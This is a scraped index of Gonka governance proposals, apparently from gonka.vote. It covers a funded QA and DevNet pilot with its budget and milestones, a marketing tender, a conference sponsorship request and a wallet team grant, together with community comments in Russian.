Component Purpose Main output Community DevNet Small always-on geographically distributed network for protocol, node, DevShard, and operational testing. 9–13 inference nodes, monitoring dashboard, deployment runbook Burst GPU Testing Budget Temporary rental of large GPU infrastructure when heavy model or load testing is needed. Monthly rental allowance, test logs, benchmarks, and cost report External Testing Team Two hands-on QA / infrastructure testing engineers to validate pre-release builds, DevShards, and deliverables from external teams. Test plans, smoke/regression checks, defect reports, readiness reports"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#5-community-devnet-infrastructure", "title": "5. Community DevNet Infrastructure", "text": "Target size: 9–13 always-on inference machines plus required network nodes, where feasible within the monthly DevNet infrastructure cap.
Topology: part of the DevNet runs as Network Nodes with multiple attached MLNodes, so that realistic multi-MLNode host configurations can be reproduced and tested.
Indicative distribution: North America East, North America West, United Kingdom, Germany, France, Finland, and Asian locations depending on network quality and hosting availability.
Model profile: DevNet inference nodes are expected to run lightweight instruct models, such as Qwen/Qwen3-0.6B, or equivalent models.
Inference nodes: NVIDIA GPU machines with 16 GB VRAM, compatible with the project’s CUDA 13.0 container/runtime stack.
Goal: protocol and distributed behavior testing.
Monitoring: public dashboard for node availability.
Operations: infrastructure lead from the host/DevOps community responsible for provisioning, monitoring, and maintenance.
Public access. The DevNet is intended to serve the broader community, not only the testing team. During the pilot, access for external participants is granted through a lightweight request process — primarily to manage abuse, access control, and node stability while monitoring and onboarding documentation are still being built. Intended external use cases include:
hosts rehearsing onboarding and node operations before joining mainnet;
developers and users experimenting with inference, smart contracts, and integrations outside the QA team's test plan.
Broader participation is the target state: we intend to move to fully permissionless access as soon as safety, abuse limits, onboarding documentation, and monitoring allow it.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#6-burst-gpu-testing-budget", "title": "6. Burst GPU Testing Budget", "text": "Used only when needed for release candidates, large model tests, load tests, and model compatibility checks.
Planning assumption: Up to one calendar week (168 hours) of rental per month.
For Kimi-class testing, the requirement estimate assumes an ML Node with either 4× NVIDIA B200 or 8× NVIDIA H200, around 640 GB total GPU VRAM, 960 GB+ system RAM, 16-core amd64 CPU, and a Network Node host with 16-core CPU, 64 GB+ RAM, 1 TB NVMe, and at least 100 Mbps networking.
Access and accountability. Burst GPU capacity is provisioned and coordinated by the External Testing Team together with the project owners, primarily for release-candidate validation, model compatibility, and load tests. Requests from Protocol Maintainers and ecosystem teams are accommodated where capacity allows. All burst usage is itemized in the monthly public report: purpose, hours used, and cost per test run, with test logs published alongside.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#7-external-testing-team", "title": "7. External Testing Team", "text": "The proposal funds two external QA / Infrastructure Testing Engineers.
Scope of work
Contribute to quality standards and test strategy for the network
Define acceptance criteria and test plans for core network lifecycle events and components
Build pre-release validation frameworks, including smoke checks and regression coverage for known failure patterns
Deploy and verify distributed node and service stacks in production-like environments
Validate critical cross-system flows end to end, with documented evidence and clear defect escalation — e.g. participant and key flows, inference and proof-of-compute participation, gateway and proxy behavior
Use health signals, chain queries, and logs as primary validation inputs, not just debugging aids
Verify upgrade readiness, rollback feasibility, and post-change health across the stack
Establish, tune, and document practical operational primitives, such as PoC validation threshold and inference validation threshold settings, based on DevNet experience, and contribute these findings directly to the official Gonka documentation where appropriate.
Support DevNet validation and release-readiness assessment before production rollouts
Validate recovery and incident resolution through root-cause analysis and re-testing
Report defects with clear reproduction steps, impact assessment, and release-blocking status
Track and communicate quality metrics that reflect network health and operational reliability
Required capabilities
3+ years in system QA / Test Engineering, SDET, or quality-focused DevOps/SRE
Understanding of blockchain lifecycle, key and auth flows: registration, delegated permissions, fee grants
Experience in operation and validation of blockchain nodes (Cosmos SDK preferred): sync, recovery, RPC queries, network phase behavior
Experience validating distributed systems in production-like environments
Strong test design: test plans, acceptance criteria, smoke/regression/e2e, edge cases, negative testing
Solid Linux, SSH, shell scripting, and log-based verification
Docker & container orchestration - including environment and config reload behavior
Clear defect reporting and documentation — runbooks, test results, sign-off checklists
Comfort with time-boxed validation before critical network events
SDET experience: scripted validation, CI pipelines, automated health checks
Blockchain / Web3 QA: testnet operations, bridge testing, wallet/key flows, upgrade regression
Cross-chain testing: EVM testnet validation, withdrawal flows, contract interaction
GPU/ML inference testing: worker health, model serving, artifact delivery
Experience with coordinated multi-node upgrades
API gateway and proxy testing (failures, latency, request tracing)
Decentralized inference or Proof of Compute networks
Public dashboard for DevNet health and node status.
Public task board for planned, active, and completed testing work.
Public issue tracker for non-sensitive bugs, regressions, and operational findings.
Monthly public report with deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan.
Per-release readiness report before governance vote or production rollout when a release candidate is provided in time.
Security-sensitive findings are reported privately to Core Team first; a public placeholder issue is created where appropriate, and details are disclosed after remediation or agreed disclosure window.
The External Test Lab is intended to work in coordination with Protocol Maintainers while remaining an external community testing function.
Protocol Maintainers are expected to support initial onboarding by providing technical context, relevant documentation, general guidance, scripts and notes, expected test focus, and clarification of protocol-specific behavior where needed.
This coordination helps the testing team become productive faster and reduces the risk of misinterpreting expected network behavior. At the same time, validation reports remain independently prepared by the External Test Lab and are published for the community.
Where a governance vote or production rollout is scheduled and testable artifacts are provided in time, the External Test Lab publishes a readiness report covering tested areas, pass/fail results, known risks, and recommendations.
If testable artifacts are provided late or incomplete, the External Test Lab may still perform limited validation, but the report will clearly state the reduced scope, time constraints, and known limitations.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#12-milestones-and-acceptance-criteria", "title": "12. Milestones and Acceptance Criteria", "text": ""}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#workstream-a-devnet-infrastructure", "title": "Workstream A: DevNet Infrastructure", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Setup Month 1 DevNet design agreed, infrastructure procurement started, at least 5 nodes online; infrastructure blockers documented if any. DevNet architecture note; initial status dashboard (live link); draft node deployment runbook. Month 2 funding requires M1 report and acceptance. M2: Full DevNet operational Month 2 At least 9 nodes online across target regions; monitoring in place. Published node deployment runbook sufficient to reproduce a DevNet node; public dashboard showing all nodes; regional layout summary. Month 3 funding requires M2 report and acceptance. M3: Stable DevNet operation Month 3 DevNet running stably; operational issues identified and addressed. Updated runbook; incident log for the month; onboarding guide for external DevNet participants, interim infrastructure cost report. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Pilot infrastructure work concluded; continuation or handoff recommendation prepared. Final infrastructure and cost report; lessons learned; handoff package. No automatic continuation; new vote required."}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#workstream-b-external-testing-lab", "title": "Workstream B: External Testing Lab", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Testing lab setup and QA onboarding Month 1 QA contractors search and selection, onboarding plan, testing lab operating model, initial test strategy. Initial test strategy document; hiring status in the monthly report. Month 2 funding requires M1 report and acceptance. M2: Testing capability launch Month 2 At least one QA engineer onboarded and executing tests; second onboarded or in final hiring stage. Public task board (live link); public catalogue of test scenarios: smoke checklist and regression checklist; live issue tracker. Month 3 funding requires M2 report and acceptance. M3: Repeated validation and process stabilization Month 3 Repeatable validation process in place; validation performed where testable inputs were provided. Open repository with initial test automation scripts (smoke-level checks); updated checklists; validation or status reports for the month. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Validation work concluded; lab processes documented for handoff. Final validation reports; defect summary; lessons learned. No automatic continuation; new vote required."}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#13-kpis", "title": "13. KPIs", "text": "KPI Target Verification method DevNet availability ≥95% monthly availability for stable nodes after full deployment Public dashboard and monthly uptime summary Release validation coverage 100% of provided release candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public release-readiness reports DevShard validation coverage 100% of provided DevShard candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public DevShard reports Public reporting Monthly public report covering deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan. Public document Issue quality All defects include reproduction steps, expected vs actual behavior, impact, and severity Public issue tracker / private security tracker where needed Handoff readiness Runbooks and lessons learned documented by end of pilot Published operational documentation"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#14-budget-estimate", "title": "14. Budget Estimate", "text": "This is a planning estimate for a 4-month pilot. Unused burst GPU rental budget may roll over within the pilot; any unused funds at the end of the pilot will be returned to the Community Pool.
Budget line Assumption Monthly estimate 4-month estimate Notes Community DevNet machines * 9–13 inference nodes plus required Network Node services capped at \\$5,000/month as a blended planning average. \\$20,000 GPU-class node, CPU/RAM/storage/network/region premium included as planning average. Burst GPU rental ** Up to one calendar week (168 hours) per month of high-end GPU capacity capped at \\$6,500/month \\$26,000 For H200/B200-class testing, load tests, model compatibility, release candidates. Operational tooling and reporting services Shared monitoring and operational tools \\$250 \\$1,000 Domains/DNS, lightweight monitoring, uptime checks, reporting tools, access management, and small cloud services where needed. External Testing Engineers 2 QA engineers × \\$4,000/month \\$8,000 \\$32,000 Hands-on QA / infrastructure testing, reports, defect tracking. Subtotal \\$19,750 \\$79,000 Contingency reserve \\$2,250 \\$9,000 Used only if needed. Total requested authorization 22,000 USDT 88,000 USDT Cap for 4-month pilot.Any unused funds will be returned to the Community Pool at the end of the pilot.
* The cap above raw GPU-hour pricing covers reserved or non-interruptible instances required for always-on operation, regional price premiums outside low-cost US marketplaces, CPU-only Network Node hosts for the multi-MLNode topology, storage and egress, and temporary node duplication during upgrade and failover testing. It is a cap, not a spend target: actual spending will be itemized monthly, and unused funds will be returned to the Community Pool at the end of the pilot.
** Nebius listed B200 on-demand pricing at \\$7.15/GPU-hour and H200 on-demand pricing at \\$4.50/GPU-hour (June 2026). At these on-demand rates, 4× B200 for 168 hours would cost approximately \\$4.8k, while 8× H200 for 168 hours would cost approximately \\$6.05k.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#15-payment-schedule", "title": "15. Payment Schedule", "text": "Tranche Amount Timing Condition Tranche 1 22,000 USDT At pilot start Prepaid to secure machines, tooling, and people for Month 1. Tranche 2 22,000 USDT After Month 1 report Released after M1 deliverables and public spending report. Tranche 3 22,000 USDT After Month 2 report Released after M2 deliverables and public spending report. Tranche 4 22,000 USDT After Month 3 report Released after M3 deliverables and public spending report. Continuation TBD After Month 4 Requires a new proposal or explicit governance decision."}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#16-end-of-pilot-gnk-recognition", "title": "16. End-of-pilot GNK recognition", "text": "The Project Lead and Infrastructure Lead receive no monthly compensation from the pilot budget: all USDT tranches fund infrastructure, tooling, and the External Testing Engineers. Leadership work is recognized only through the one-time GNK allocation below, paid after pilot completion and final report acceptance.
Role Amount Timing Notes Project Lead 40,000 GNK After pilot completion and final report acceptance Overall project accountability, governance coordination, scope and milestone control, QA contractor selection and onboarding, public reporting, and testing laboratory oversight. Infrastructure Lead / DevOps operations 40,000 GNK After pilot completion and final report acceptance Provisioning, monitoring, maintenance, region selection, cost control."}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#17-open-source-ownership-and-handoff", "title": "17. Open Source, Ownership and Handoff", "text": "All non-sensitive documentation, test plans, runbooks, dashboards, issue templates, and reports will be public by default.
Where code or scripts are created, they will be published under an open-source license compatible with Gonka ecosystem norms unless there is a clear security reason not to.
Infrastructure access will not depend on a single individual. The owner model, emergency access process, and handoff procedure will be documented.
At the end of the pilot, a community-approved team should be able to take over the DevNet and External Testing Lab using the published runbooks, documentation, and access handoff process.
Approve a 4-month pilot of External Test Lab & Community DevNet with a maximum budget authorization of 88,000 USDT, paid in four monthly tranches of up to 22,000 USDT each, and 80,000 GNK paid after pilot completion and final report acceptance.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#comments-5", "title": "Comments (5)", "text": ""}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-07-04 12:15 · 👍 5 · 👎 0
АМА: https://youtu.be/tYfeXANyPtM?si=X7g-H1awc1PB1uqI&t=1957
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#andrey-a", "title": "💬 Andrey A", "text": "2026-07-06 07:42 · 👍 1 · 👎 0
Поделюсь мыслями. Не ставлю под сомнение факт, что core-тим сообщили о необходимости этой структуры именно в таком виде, с этим просто есть 100% доверие. С других же сторон информация менее известна.
Меня смущает, что пропосал посвящен QA. Старая, зрелая и специализированная область. При этом в бэкграунде текущей команды не вижу подтвержденного опыта именно в построении QA-процессов, SDET или тестировании blockchain-инфраструктуры.
В самом пропосале заявлены высокие требования к QA-инженерам, но непонятно, как команда без явного QA-бэкграунда будет их отбирать, оценивать качество их работы и принимать результаты.
Для Сергея руководство проектом с двумя QA-инженерами выглядит одновременно как заметная смена направления (причем в \"скучную\" тему qa) и как профессиональный дауншифтинг относительно его предыдущего уровня ролей. Для Михаила понятна инфраструктурная часть, но не очень понятно, где его опыт подтверждает способность строить именно QA-лабораторию, а не devops-инфраструктуру.
Если что-то из опыта не отражено в линкедин, прошу усилить пропосал этой информацией. Если релевантного опыта нет, то прошу пояснить, почему он считается не обязательными и в чем именно интерес команды заниматься этой темой. Потому что, если интереса нет, то энтузиазм может очень быстро закончиться.
В общем, основные вопросы не относительно актуальности пропосала и не о суммах в нем.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#sergii-paranko", "title": "💬 Sergii Paranko", "text": "2026-07-07 05:11 · 👍 0 · 👎 0
Андрей, спасибо за содержательный комментарий. Вопрос понятный и справедливый.
Важное уточнение: я не планирую лично выполнять роль QA/SDET-инженера или подменять собой профильную экспертизу.
Тестированием будут заниматься профильные QA / Infrastructure Testing Engineers. В моих прошлых проектах у меня регулярно были команды тестирования, за которые я как руководитель отвечал организационно: постановка процесса, приоритизация, контроль. В некоторых проектах тестирование было размером с половину команды разработки. Здесь масштаб сильно меньше: небольшая внешняя лаборатория.
Кто поможет с технической валидацией специалистов-тестировщиков и их онбордингом я указал в пункте 10 (Protocol Maintainer Coordination). А качество работы лаборатории будем показывать: все артефакты публичные, участники сообщества с экспертизой смогут оценить и подсказать.
Митч нужен как раз для devops-инфраструктуры: региональное размещение, мониторинг, стабильность, плюс поиск и организация найма burst GPU-ресурсов для почасовых тестов, когда они нужны.
Что касается мотивации: она такая же, как и с роадмапом: не хочу, чтобы мои инвестиции обесценились, а лучше бы они выросли в цене. Вознаграждение за проект тоже станет весомее, когда сеть станет стабильнее и защищеннее от критических багов.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#sergii-paranko_1", "title": "💬 Sergii Paranko", "text": "2026-07-07 05:28 · 👍 0 · 👎 0
Пропозал обновлён по ходу обсуждения на GitHub с Protocol Maintainer: немного снижен бюджет, уточнены цели Community DevNet, доступ к DevNet, топология Network Nodes / MLNodes, требования по GPU и порядок использования ресурсов burst GPU.
Обсуждение: https://github.com/gonka-ai/gonka/discussions/1388
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#sergii-paranko_2", "title": "💬 Sergii Paranko", "text": "2026-07-10 13:24 · 👍 0 · 👎 0
Предложение №82 — External Test Lab & Community DevNet принято.
Спасибо всем, кто изучил предложение и принял участие в голосовании.
Начинаем первый месяц работы: поиск и найм специалистов в QA-команду, поиск и аренда оборудования, запуск первых нод.
Первый отчёт будет опубликован примерно 9 августа — за четыре дня до разблокировки второго транша.
View on gonka.vote
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/", "title": "International Marketing Campaign for Gonka — English-Speaking Markets", "text": "🔴 ExpiredAuthor: Evgenii Maksimenkov Created: 2026-04-25 06:39 UTC Closes: 2026-05-25 06:39 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Multi-phase marketing campaign to grow Gonka awareness, Host adoption, and Developer activity in English-speaking markets. Crypto-native agency required, fixed KPIs, milestone-based payouts.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#full-proposal", "title": "Full Proposal", "text": "Context
Gonka is a live-mainnet decentralized AI L1 with a novel Proof of Compute consensus, OpenAI-compatible inference (Qwen3-235B-A22B-FP8 currently served), and an existing ecosystem (CertiK audit, Coatue/Slow Ventures/Mantis/K5 backing, Gcore/Hyperfusion/6blocks as Hosts).
The protocol is technically mature but under-marketed relative to peers in the DePIN/decentralized-AI category (e.g., Bittensor, io.net, Akash, Render, Aethir). This tender procures a structured, KPI-driven international marketing campaign focused on English-speaking markets, executed by a crypto-native agency with verifiable DePIN/L1 portfolio, with payouts tied to measurable outcomes per phase.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#2-objectives", "title": "2. Objectives", "text": "The Campaign MUST drive measurable growth in three primary funnels:
Brand awareness is a secondary KPI, not the primary one. Vanity metrics (impressions, follower count alone) are NOT acceptable as primary deliverables.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#3-target-markets-and-audience", "title": "3. Target Markets and Audience", "text": "what-is-gonka.hashnode.dev), Substack, MirrorBidders MUST demonstrate all of the following:
The Campaign is split into 4 sequential phases with gated milestone-based compensation. Each phase has a fixed scope, fixed KPIs, and a fixed payout. Phase N+1 starts only after Phase N KPIs are independently verified.
Total budget envelope to be proposed by bidder; payout split MUST follow the percentages below.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#phase-1-discovery-positioning-and-asset-production-weeks-16-15-of-total-budget", "title": "Phase 1 — Discovery, Positioning, and Asset Production (Weeks 1–6) — 15% of total budget", "text": "Scope: - Competitive teardown vs. Bittensor, io.net, Akash, Render, Aethir, Prime Intellect (positioning matrix, differentiation narrative). - Brand voice guide, visual identity refresh proposal (optional, not redesign). - Messaging architecture for each of three audiences (Hosts / Developers / Holders). - Asset library: 10 short-form videos (≤90s), 5 long-form articles (1500+ words), 3 explainer animations, 1 pitch deck for Hosts, 1 pitch deck for Developers. - Content calendar for Phases 2–4. - Media list (≥100 named journalists/podcasters with contact and angle).
KPIs (binary, all required for payout): - All listed assets delivered, reviewed, and approved by Gonka core team. - Positioning document signed off by Gonka governance representative. - Two pilot media placements secured (not yet published).
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#phase-2-launch-wave-and-earned-media-weeks-714-25-of-total-budget", "title": "Phase 2 — Launch Wave and Earned Media (Weeks 7–14) — 25% of total budget", "text": "Scope: - Coordinated press launch around a defined narrative milestone (mainnet maturity / Qwen3-235B inference availability / new feature). - Tier-1 media placements, 3+ podcast appearances for Gonka leadership. - KOL activation wave: paid + organic, with mandatory disclosure. - Reddit/HN organic seeding (no astroturfing). - Conference presence at minimum 1 tier-1 event (Token2049, Devcon, ETHDenver, Permissionless, Consensus equivalent).
KPIs (numerical, payout pro-rated against achievement):
KPI Target Floor (50% payout) Ceiling (full payout) Tier-1 earned media placements ≥5 3 5 Tier-2 media placements ≥15 8 15 Podcast appearances (Gonka leadership) ≥3 2 3 KOL impressions (verified, non-bot, AI/DePIN niche) ≥10M 5M 10M New X followers (organic + KOL-driven, bot-filtered) ≥25K 12K 25K Discord member growth (verified humans) ≥8K net 4K 8K Documentation page sessions ≥150K 75K 150KPro-rated payout below the floor: 0%. Bot-filtering methodology MUST be specified in the proposal (e.g., HypeAuditor, SparkToro, or equivalent third-party verification).
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#phase-3-conversion-and-adoption-drive-weeks-1526-35-of-total-budget", "title": "Phase 3 — Conversion and Adoption Drive (Weeks 15–26) — 35% of total budget", "text": "Scope: - Host onboarding campaign: targeted outbound to GPU operators, dedicated landing pages, ROI calculators, host-success case studies (3+ filmed testimonials from existing Hosts). - Developer adoption campaign: hackathons (1 sponsored hackathon ≥500 registrants OR 2 smaller events ≥200 each), tutorial series (10+ technical posts), integration guides for popular frameworks (LangChain, LlamaIndex, OpenAI SDK drop-in migration guide). - Comparison content: head-to-head benchmark posts vs. Together AI, DeepInfra, Fireworks AI on price/latency/determinism (Gonka-supplied data).
KPIs (numerical, payout pro-rated):
KPI Target Floor (50%) Ceiling (full) New Host applications submitted ≥50 25 50 New Hosts onboarded (passed genesis/collateral) ≥15 8 15 New developer accounts (with ≥1 paid inference call) ≥1,000 500 1,000 Total inference requests attributable to campaign (UTM-tracked) ≥5M 2M 5M GitHub stars ongonka-ai/gonka (delta) ≥1,500 750 1,500 Hackathon registrants (cumulative) ≥500 250 500 Hackathon submissions (working projects on Gonka API) ≥40 20 40 Attribution MUST use UTM tagging, dedicated landing pages, and on-chain referral codes where technically feasible. Self-reported KOL numbers are NOT accepted without third-party verification.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#phase-4-sustain-measure-handover-weeks-2732-25-of-total-budget", "title": "Phase 4 — Sustain, Measure, Handover (Weeks 27–32) — 25% of total budget", "text": "Scope: - Always-on social ops handover (playbooks, content templates, KOL contact lists transferred to Gonka in-house team). - 2 case studies on successful Developers built on Gonka. - Final analytics report with full funnel attribution. - 30-day post-campaign measurement (retention, churn, repeat usage). - Sustaining content cadence: 4 posts/week on X, 1 long-form/week, 1 podcast/month maintained through Phase 4.
KPIs (numerical, payout pro-rated):
KPI Target Floor (50%) Ceiling (full) Developer 30-day retention (≥1 call in days 7–30 after first call) ≥35% 20% 35% Host 60-day retention (still active 60 days post-onboarding) ≥85% 70% 85% Organic X mention volume (excluding paid KOLs, bot-filtered) ≥3K/month sustained 1.5K 3K Inbound media inquiries (no PR push required) ≥10/month sustained 5 10 Net Promoter Score (Hosts + Developers, n≥100) ≥40 25 40"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#6-measurement-verification-and-anti-fraud", "title": "6. Measurement, Verification, and Anti-Fraud", "text": "All reporting tools MUST grant read-access to designated Gonka team members. No reporting via screenshots only.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#8-brand-and-messaging-constraints", "title": "8. Brand and Messaging Constraints", "text": "By end of Phase 4:
Bidders MUST submit:
2026-05-03 22:04 · 👍 0 · 👎 0
Тут двояко: \"Платные сделки с инфлюенсерами, превышающие $50K на одного человека, без предварительного одобрения Gonka. Расходы на платную рекламу (отдельная статья бюджета, не входит в гонорары агентства).\" то есть рекламные размещения до 50к входят или не входят в пропосал?
Я бы предложил наверное более явно прописал по бюджетам мысли. А то голосующие могут не понять как голосовать по сумме гранта.
Ну и про передачу доступов и контактов это тонкая история, комьюнити тут ничего не решит и никак не возьмет по умолчанию материалы, тем более часть из них чувствительная. Или продумал бы это заранее или возложил бы сразу на исполнителя продумать это и создать технологию передачи активов как-то технологично.
"}, {"location": "proposals/preproposals/28dcf8fb-3138-4e8b-adc0-0fb82962276c/#_2", "title": "💬 Дмитрий В", "text": "2026-05-03 22:15 · 👍 0 · 👎 0
Думаю я бы в целом дал бы больше свободы исполнителю, а то с одной стороны запрос на топ-1 исполнителя, с другой стороны рамки по стратегии и создание некого фрейма неповоротливости. А ситуация в поле может меняться быстро, тем более в теме ии. Добавил бы еще, что это все не строго, если исполнитель видит по своему и уверен в силах, обладает регалиями, пусть вызывается, мы его рассмотрим.
И возникает странная обратная ситуация), если исполнитель зайдет на эту страницу и увидит тендер где предложено сообществом условно по курсу сейчас это 30 млн руб, то развернется и не будет тратить силы.) то есть мы никак не привлекаем так сильных ребят, а отгоняем чтоли..
View on gonka.vote
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/", "title": "Bring Gonka to EBC12 as a Gold Sponsor", "text": "🔴 ExpiredAuthor: Heydar Naghiyev Created: 2026-05-21 08:31 UTC Closes: 2026-06-04 08:31 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Fund Gonka’s Gold Sponsor participation at European Blockchain Convention 2026 in Barcelona to expand Gonka’s European presence, meet institutional decision-makers, exchanges, infrastructure partners
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#full-proposal", "title": "Full Proposal", "text": "Problem
Gonka has strong momentum, but its market presence is still concentrated outside Europe. For Gonka to grow into a more global infrastructure project, it needs visibility and direct access to European exchanges, institutions, funds, infrastructure companies, AI/compute builders, and senior Web3 decision-makers.
Europe is becoming an important market for digital assets, regulation, institutional adoption and blockchain infrastructure. Without a strong physical presence in this market, Gonka risks missing conversations with the partners, buyers and ecosystem players that could accelerate adoption.
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#proposal", "title": "Proposal", "text": "This tender proposes funding Gonka’s Gold Sponsor participation at European Blockchain Convention 2026 in Barcelona.
European Blockchain Convention is one of Europe’s largest blockchain and digital asset events, bringing together more than 6,000 attendees, including a high concentration of decision-makers, buy-side participants, exchanges, institutions, infrastructure companies, investors and senior Web3 operators.
The proposed package would give Gonka a visible and commercially useful presence at EBC12, including:
Total requested budget: 62,000 USDT.
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#why-now", "title": "Why now", "text": "Gonka is well positioned for a larger European push. EBC12 gives Gonka access to the right audience at the right time: institutions exploring digital assets, infrastructure providers, exchanges, allocators, builders and companies looking at AI, compute and blockchain-based coordination.
This is not just a branding exercise. The value is in structured access: a booth for direct conversations, speaking opportunities to explain Gonka’s relevance, and curated 1-to-1 meetings with selected attendees.
A successful participation could help Gonka:
If approved, this tender would allow Gonka to participate in EBC12 with a serious presence instead of attending passively or missing the opportunity entirely.
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#requested-funding", "title": "Requested funding", "text": "62,000 USDT
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#success-metrics", "title": "Success metrics", "text": "After the event, the community should receive a short report covering:
2026-05-22 08:43 · 👍 2 · 👎 0
Добрый день, ничего не вижу про автора пропозала, а точнее о тех, кто именно будет представлять gonka.
"}, {"location": "proposals/preproposals/29baf37b-811f-4c36-b517-66a578383f1c/#heydar-naghiyev", "title": "💬 Heydar Naghiyev", "text": "2026-05-22 10:50 · 👍 2 · 👎 0
Добрый день! Спасибо за вопрос, справедливое замечание.
Меня зовут Heydar Naghiyev (https://www.linkedin.com/in/heydarnaghiyev/), я представляю European Blockchain Convention. Я подал этот proposal со стороны EBC, чтобы вынести на голосование возможность участия Gonka в EBC12 в Барселоне. (https://eblockchainconvention.com/european-blockchain-convention-12/)
Важно уточнить: я не предлагаю, чтобы Gonka представлял кто-то случайный или внешний. Идея как раз в том, чтобы Gonka была представлена на высоком уровне, желательно founders / senior leadership, то есть людьми, которые действительно могут говорить от имени проекта, объяснить vision, технологию, стратегию и вести серьёзные разговоры с институционалами, биржами, инфраструктурными компаниями и потенциальными партнёрами.
Если комьюнити считает нужным, мы можем уточнить proposal и прямо добавить, что участие предполагает high-level representation from Gonka, founders или другой официальный представитель, утверждённый самой Gonka.
Со стороны EBC мы предоставляем площадку, sponsor package, speaking opportunities, booth, executive meetings, media exposure и контент. А кто именно будет представлять Gonka, это, конечно, должно быть решением Gonka / core team/community.
View on gonka.vote
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/", "title": "3. Team Gonka Wallet Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:41 UTC Closes: 2026-07-11 05:41 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Gonka Wallet Team built a dedicated Gonka wallet and now plans to launch Gonka Forge, a platform for AI agents and tools powered by Gonka Inference.
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to launch Gonka Forge — a platform where users can formulate tasks for AI agents, while developers can create agents and AI tools powered by Gonka Inference.
The platform will include a built-in free AI chat during the race. This chat will help users quickly turn their ideas into clear requests, and will also help new agents get their first users and test early demand from day one.
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team has developed Gonka Wallet, described as the first wallet specifically created for the Gonka.ai ecosystem.
Telegram channel: https://t.me/GonkaWallet
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka15vunu0new53m83ccvfcmkf84v7q4s8ldsjfu4y
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "shtirbetsai
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#email-address", "title": "Email Address", "text": "vr.atom.com@gmail.com
"}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/2b6b2142-685a-4eda-b2a1-f8853228f3e6/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:08 · 👍 0 · 👎 0
Привет! Вы куда-то пропали на несколько месяцев. При этом у вас были очень крутые идеи.
